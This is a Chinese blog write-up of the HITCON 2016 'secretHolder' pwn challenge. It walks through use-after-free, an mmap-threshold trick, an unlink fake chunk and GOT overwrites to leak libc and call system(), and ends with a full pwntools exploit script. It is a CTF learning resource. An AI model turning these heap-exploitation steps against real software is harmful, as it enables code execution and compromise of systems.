unlink-secretholder

本文介绍了一个包含UAF和double free漏洞的程序secretHolder的漏洞利用过程。通过精心构造的步骤,作者展示了如何利用这些漏洞进行堆溢出,修改程序状态,并最终获取shell的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目 : hitconctf2016-secretholder

保护:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ElDL0f5N-1642058831878)(unlink(secretholder)].assets/image-20220112221842756.png)

add函数:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iXGfAjEY-1642058831879)(unlink(secretholder)].assets/image-20220112221514637.png)

dele函数:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qfsdGX1I-1642058831880)(unlink(secretholder)].assets/image-20220112221604615.png)

update函数:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TmRjW5PS-1642058831880)(unlink(secretholder)].assets/image-20220112221717273.png)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rKIvMNeJ-1642058831881)(unlink(secretholder)].assets/image-20220112222139719.png)

总体下来可以发现程序很简单,漏洞有uaf 和 double free,堆块类型是否可以malloc \ 修改由bss段中的xx_is_use决定,无pie,可通过修改got表或者将one_gadget写入__malloc_hook__free_hook中getshell,那么这里的限制条件就是只能malloc三种类型的chunk,分别是一个fast chunk和2个large chunk且每种类型的chunk只能malloc一次,它由对应类型的xx_is_use控制

  1. 因为程序没有提供打印函数 所以unsotbin泄漏libc就用不了
  2. 程序没有限制double free 但是不能同时存在2个fast chunk所以不能进行fast bin攻击到__malloc_hook
  3. 那么程序就需要修改got表为一个打印函数,打印出got地址从而进行泄露libc再改got表getshell
  4. 可以发现程序的重要变量都放置在bss段,且有uaf漏洞
  5. unlink的满足条件是用于存放fake chunk的chunk可堆溢出到next chunk的头部和fd\bk值,
    已知位置存在一个指针指向伪造fake chunk的chunk(无pie)

因为每个类型的chunk只能申请此一次,那么不能进行常规的double free进行任意地址写入.

#------------营造堆溢出条件----------------
#利用uaf漏洞以达到往0x28chunk中可写入0xfa0的大小
add(1)   #申请一个fast chunk
dele(1)  #放入fast bin
add(2)   #申请large chunk ,此时会合并fast bin并放入top chunk , 因为uaf的原因large chunk 拿到了fast chunk的指针
dele(1) #此时fast \ large chunk指向同一个指针,但是还有一个xx_is_use可以利用它控制malloc
        #这里我将fast chunk的is_use使用状态置为0,以便后面我可以再次malloc一次fast chunk
add(1)  #此时fast \large chunk依旧指向同一个指针
        #那么就可以通过修改large chunk的内容来修改fast chunk的内容了

通过上面就营造出了堆溢出的条件

因为unlink的两个chunk进行交互,那么就需要把more large chunk给malloc出来,因为申请的内存为0x61a80 topchunk肯定是无法满足的,则会调用sysmalloc()函数移动brk指针扩展topchunk的大小或者是通过mmap()函数进行分配, 很显然调用mmap()函数不是目的

那么sysmalloc()首先会通过申请的size是否大于阈值(mp_.mmap_threshold)大于则使用mmap()反之扩大topchunk
恰好在__libc_free()函数中存在动态改变mp_.mmap_threshold值的定义.如下:

void __libc_free (void *mem){
    ....
p = mem2chunk (mem);

  if (chunk_is_mmapped (p)) //是否该chunk由mmap()分配
    {
      if (!mp_.no_dyn_threshold
          && p->size > mp_.mmap_threshold
          && p->size <= DEFAULT_MMAP_THRESHOLD_MAX) //查看动态 brk/mmap 阈值是否需要调整
        {
          mp_.mmap_threshold = chunksize (p); //调整大小为前面mmap()分配的chunk的大小
          mp_.trim_threshold = 2 * mp_.mmap_threshold;
          LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
                      mp_.mmap_threshold, mp_.trim_threshold);
        }
      munmap_chunk (p);
      return;
      .....
 }
#------------营造next chunk----------------
add(3) #通过mmap()分配0x61A80
dele(3) #调整mp_.mmap_threshold大小由 0x20000 -> 0x62000
add(3) #此时即可正常调用brk()扩展top chunk分配

但是不知道为什么chunk已经正常分配出来了0x61a90的空间,但是top chunk并没有显示变大,还是之前的0x20541,并且此时的mp_.mmap_threshold已经发生了大小变化???这个问题记录一下~

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ui5jjGBs-1642058831881)(unlink(secretholder)].assets/image-20220113144046497.png)

然后就是常规的unlink操作和绕过了

#------------fake chunk + 绕过unlink检测----------------
target = 0x6020b0
fake = p64(0) + p64(0x21)
fake += p64(target-0x18) + p64(target-0x10)
fake += p64(0x20) + p64(0x61a90)  #常规的unlink操作
update(2,fake) #用large chunk的长度修改fast chunk内容造成堆溢出
dele(3)                                           

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wngHLYoI-1642058831882)(unlink(secretholder)].assets/image-20220113145645175.png)

然后就是修改got表进行libc泄露

#------------修改got----------------
payload = p64(0) + p64(e.got['free']) + p64(0) + p64(e.got['puts'])
update(1,payload)
update(2,p64(e.plt['puts']))
dele(1)
leak = uu64(ru("\n")[:6])
libc_base = leak - libc.symbols['puts']
success("libc_base",libc_base)

getshell同理,最后完整exp:

# -*-coding:utf-8 -*
from pwn import *
import sys

context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./secretHolder"

global p
local = 1
if local:
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("111.200.241.244","58782")
    e = ELF(binary)
    libc = e.libc
    #libc = ELF('./libc_32.so.6')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + b'\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()


def z(s='b main'):
 gdb.attach(p,s)

def success(string,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))

def pa(s='暂停!'):
  log.success('当前执行步骤 -> '+s)
  pause()
#one = [0x45226,0x4527a,0xcd173,0xcd248,0xf03a4,0xf03b0,0xf1247,0xf67f0]
one = [0x45206,0x4525a,0xcc673,0xcc748,0xef9f4,0xefa00,0xf0897,0xf5e40] #2.23


def add(types):
    sla("3. Renew secret\n",'1')
    sla("3. Huge secret\n",str(types))
    sla("ell me your secret: \n",'/bin/bash')
def dele(types):
    sla("3. Renew secret\n",'2')
    sla("3. Huge secret\n",str(types))
def update(types,data):
    sla("3. Renew secret\n",'3')
    sla("3. Huge secret\n",str(types))
    sa("ell me your secret: \n",data)


#------------营造堆溢出条件----------------
#利用uaf漏洞以达到往0x28chunk中可写入0xfa0的大小
add(1)   #申请一个fast chunk
dele(1)  #放入fast bin
add(2)   #申请large chunk ,此时会合并fast bin并放入top chunk , 因为uaf的原因large chunk 拿到了fast chunk的指针
dele(1) #此时fast \ large chunk指向同一个指针,但是还有一个xx_is_use可以利用它控制malloc
        #这里我将fast chunk的is_use使用状态置为0,以便后面我可以再次malloc一次fast chunk
add(1)  #此时fast \large chunk依旧指向同一个指针
        #那么就可以通过修改large chunk的内容来修改fast chunk的内容了
#------------营造next chunk----------------
add(3) #通过mmap()分配0x61A80
dele(3) #调整mp_.mmap_threshold大小由 0x20000 -> 0x62000
add(3) #此时即可正常调用brk()扩展top chunk分配
#------------fake chunk + 绕过unlink检测----------------
target = 0x6020b0
fake = p64(0) + p64(0x21)
fake += p64(target-0x18) + p64(target-0x10)
fake += p64(0x20) + p64(0x61a90)  #常规的unlink操作
update(2,fake) #用large chunk的长度修改fast chunk内容造成堆溢出
dele(3)
#------------修改got----------------
payload = p64(0) + p64(e.got['free']) + p64(0) + p64(e.got['puts'])
update(1,payload)
update(2,p64(e.plt['puts']))
dele(1)
leak = uu64(ru("\n")[:6])
libc_base = leak - libc.symbols['puts']
success("libc_base",libc_base)
#------------getshell ----------------
update(2,p64(libc_base + libc.symbols['system']))
add(1)
dele(1)
#------------end----------------
it()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值